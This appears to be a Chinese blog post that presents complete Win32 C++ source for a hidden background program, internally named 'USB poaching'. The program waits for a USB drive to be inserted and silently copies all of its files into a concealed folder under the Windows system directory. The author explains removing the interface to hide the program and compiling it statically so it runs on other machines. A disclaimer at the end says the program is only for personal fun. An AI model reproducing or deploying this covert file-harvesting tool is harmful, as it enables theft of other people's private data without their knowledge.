当前位置: 移动技术网 > IT编程>开发语言>C/C++ > USB助手

USB助手

2018年11月08日  | 移动技术网IT编程  | 我要评论

双色球73期开奖结果,李 晟,动物油画

自动拷贝u盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制u盘数据的程序。

对于这个程序的功能首先就是要能够识别u盘是否插入了,这里使用了函数getlogicaldrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断u盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用vs2017编译):


 

  1 // usb盗猎.cpp : 定义应用程序的入口点。
  2 // 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
  3 // 在调试中选择属性,然后选择c/c++,选择代码生成,选择多线程调试dll(/mtd)====>即可实现静态编译
  4 
  5 #include "stdafx.h"
  6 #include "usb助手.h"
  7 #include <windows.h>
  8 #include <iostream>
  9 #include <string>
 10 #include <strsafe.h>
 11 #include <tchar.h>
 12 #define  max_path_me   256
 13 #define  source_path   text("c:\\windows\\system\\text1")
 14 
 15 using namespace std;
 16 void traver_file(tchar path[max_path_me], tchar t_path[max_path_me]);                        //遍历u盘下的所有文件
 17 
 18 int apientry wwinmain(_in_ hinstance hinstance,
 19     _in_opt_ hinstance hprevinstance,
 20     _in_ lpwstr    lpcmdline,
 21     _in_ int       ncmdshow)
 22 {
 23 
 24     createdirectory(source_path, null);
 25     tchar szfile[max_path_me] = source_path;
 26     tchar path[max_path_me] = text("");
 27     tchar drive[26] = { 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','s','y','z' };
 28     char i = 0;
 29     dword drive_old = getlogicaldrives();
 30     while (1)
 31     {
 32         dword drive_new = getlogicaldrives();
 33         if (drive_old != drive_new)
 34         {
 35             drive_new = drive_new - drive_old;
 36             while (1)
 37             {
 38                 if ((drive_new & 1) != 0)
 39                     break;
 40                 drive_new >>= 1;
 41                 i++;
 42             }
 43             break;
 44         }
 45     }
 46     sleep(10000);
 47     path[0] = drive[i];
 48     path[1] = '\0';                            //stringcchcat:在使用时需要path最后一位是‘\0’
 49     stringcchcat(path, max_path_me, text(":"));
 50     traver_file(path, szfile);
 51     return 0;
 52 }
 53 
 54 void traver_file(tchar path[max_path_me], tchar t_path[max_path_me])
 55 {
 56     win32_find_dataw lpfindfiledata;
 57     handle hfind = invalid_handle_value;
 58 
 59     tchar szdir[max_path_me];
 60     tchar szdir1[max_path_me] = text("");
 61     tchar szdir2[max_path_me] = text("");
 62     tchar szfile[max_path_me] = text("");            //把文件拷贝的源地址
 63 
 64     tchar t_szdir[max_path_me] = text("");
 65     tchar t_szdir2[max_path_me] = text("");
 66     tchar t_szdir1[max_path_me] = text("");
 67     tchar t_szfile[max_path_me] = text("");            //把文件拷贝的目的地址
 68 
 69     stringcchcopy(t_szdir, max_path_me, t_path);
 70     stringcchcopy(t_szdir2, max_path_me, t_szdir);
 71 
 72     //获取源文件地址的操作
 73     stringcchcopy(szdir, max_path_me, path);
 74     stringcchcopy(szdir2, max_path_me, szdir);
 75     stringcchcat(szdir, max_path_me, text("\\*"));
 76     hfind = findfirstfilew(szdir, &lpfindfiledata);
 77     do
 78     {
 79         stringcchcopy(szfile, max_path_me, szdir2);
 80         stringcchcopy(szdir1, max_path_me, szdir2);
 81 
 82         stringcchcopy(t_szfile, max_path_me, t_szdir);
 83         stringcchcopy(t_szdir1, max_path_me, t_szdir2);
 84 
 85         if (lpfindfiledata.cfilename[0] == '.')
 86         {
 87             continue;
 88         }
 89         else if (lpfindfiledata.dwfileattributes == file_attribute_directory)
 90         {
 91             stringcchcat(szdir1, max_path_me, text("\\"));
 92             stringcchcat(szdir1, max_path_me, lpfindfiledata.cfilename);
 93 
 94             stringcchcat(t_szdir1, max_path_me, text("\\"));
 95             stringcchcat(t_szdir1, max_path_me, lpfindfiledata.cfilename);
 96 
 97             createdirectory(t_szdir1, null);
 98             traver_file(szdir1, t_szdir1);
 99         }
100         else
101         {
102             stringcchcat(szfile, max_path_me, text("\\"));
103             stringcchcat(szfile, max_path_me, lpfindfiledata.cfilename);
104 
105             stringcchcat(t_szfile, max_path_me, text("\\"));
106             stringcchcat(t_szfile, max_path_me, lpfindfiledata.cfilename);
107 
108             copyfile(szfile, t_szfile, false);
109             stringcchcopy(szfile, max_path_me, text(""));
110             stringcchcopy(t_szfile, max_path_me, text(""));
111 
112         }
113     } while (findnextfilew(hfind, &lpfindfiledata) != 0);
114 }

 

————本程序只可自己玩,不可另做它用!!!

 

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网